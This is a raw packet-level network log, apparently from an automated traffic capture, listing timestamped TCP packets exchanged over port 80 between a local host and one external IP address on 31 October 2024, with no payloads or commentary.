Oct 31, 2024 02:09:11.482759953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482800007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.482974052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482984066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.482994080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483005047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483022928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483048916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483073950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483117104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483136892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483156919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483180046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483196974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483208895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483220100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483228922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483256102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483268023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483436108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483479977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483485937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483491898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483529091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483539104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483539104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483540058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483551979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483582973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483607054 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483769894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483782053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483793020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483823061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483845949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483863115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483875036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483886957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.483915091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.483937979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.484209061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.484225988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.484261990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.484267950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.484273911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.484291077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.484302044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.484309912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.484332085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.484349012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.525516987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.525535107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.525544882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.525574923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.525595903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.525666952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.525677919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.525688887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.525718927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.525736094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557358980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557384968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557396889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557418108 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557441950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557442904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557455063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557498932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557522058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557580948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557621956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557625055 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557631969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557672024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557678938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557683945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557689905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557702065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557728052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557749033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557866096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557893038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557903051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.557918072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.557950974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558028936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558075905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558082104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558090925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558101892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558129072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558140993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558284998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558296919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558307886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558336973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558360100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558366060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558372974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558403015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558428049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.558598042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558610916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.558651924 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.599494934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599514008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599524021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599558115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599577904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.599600077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.599647999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599688053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599699020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599699974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.599735975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.599855900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599903107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.599931002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599942923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599955082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.599984884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600012064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600033045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600044966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600095034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600106955 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600119114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600131035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600147963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600179911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600359917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600372076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600390911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600402117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600414038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600414991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600426912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600455999 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600625038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600673914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600694895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600707054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600739956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600753069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600758076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600764990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600795031 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600804090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.600980997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.600991964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.601001978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.601033926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.601033926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.601046085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.601079941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.603480101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.642466068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.642479897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.642489910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.642539024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.642565966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.642569065 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.642577887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.642589092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.642611980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.642632008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.674458981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674527884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.674741030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674751997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674762964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674776077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674787998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674793005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.674799919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674812078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674820900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.674825907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674838066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.674863100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.674877882 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675057888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675066948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675074100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675081015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675086021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675112009 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675137997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675146103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675149918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675162077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675174952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675190926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675203085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675214052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675244093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675473928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675486088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675498009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675528049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675539017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675600052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675611019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675645113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.675776958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675795078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675805092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.675945997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.716542006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.716574907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.716665983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.716667891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.716675997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.716703892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.716730118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.716937065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.716983080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717052937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717098951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717134953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717173100 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717202902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717256069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717283964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717294931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717305899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717319965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717330933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717331886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717344999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717367887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717396975 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717413902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717426062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717437029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717456102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717458963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717472076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717474937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717516899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717675924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717694044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717705965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717722893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717755079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717772007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717783928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.717842102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.717962027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718013048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.718025923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718077898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.718167067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718178988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718190908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718202114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718214989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.718218088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718230009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.718246937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.718257904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.718286991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.759422064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759440899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759452105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759495974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.759521008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.759641886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759689093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759694099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.759701967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759713888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759725094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.759738922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.759771109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791309118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791356087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791367054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791384935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791412115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791420937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791424036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791435003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791459084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791472912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791542053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791583061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791594982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791686058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791726112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791737080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791748047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791794062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791877031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791888952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791898966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.791937113 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791948080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.791996956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792048931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792078972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792090893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792103052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792133093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792156935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792283058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792294025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792324066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792340040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792370081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792397022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792407036 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792450905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792453051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792463064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792474985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792495012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792529106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792670012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792680979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792691946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792706013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.792716026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792741060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.792757988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.833703995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833724022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833734989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833786011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.833818913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.833832979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833853960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833864927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833878040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.833894968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.833905935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:11.833925009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833936930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833947897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:11.833971977 CET	49982	80	192.168.2.5	154.216.17.34
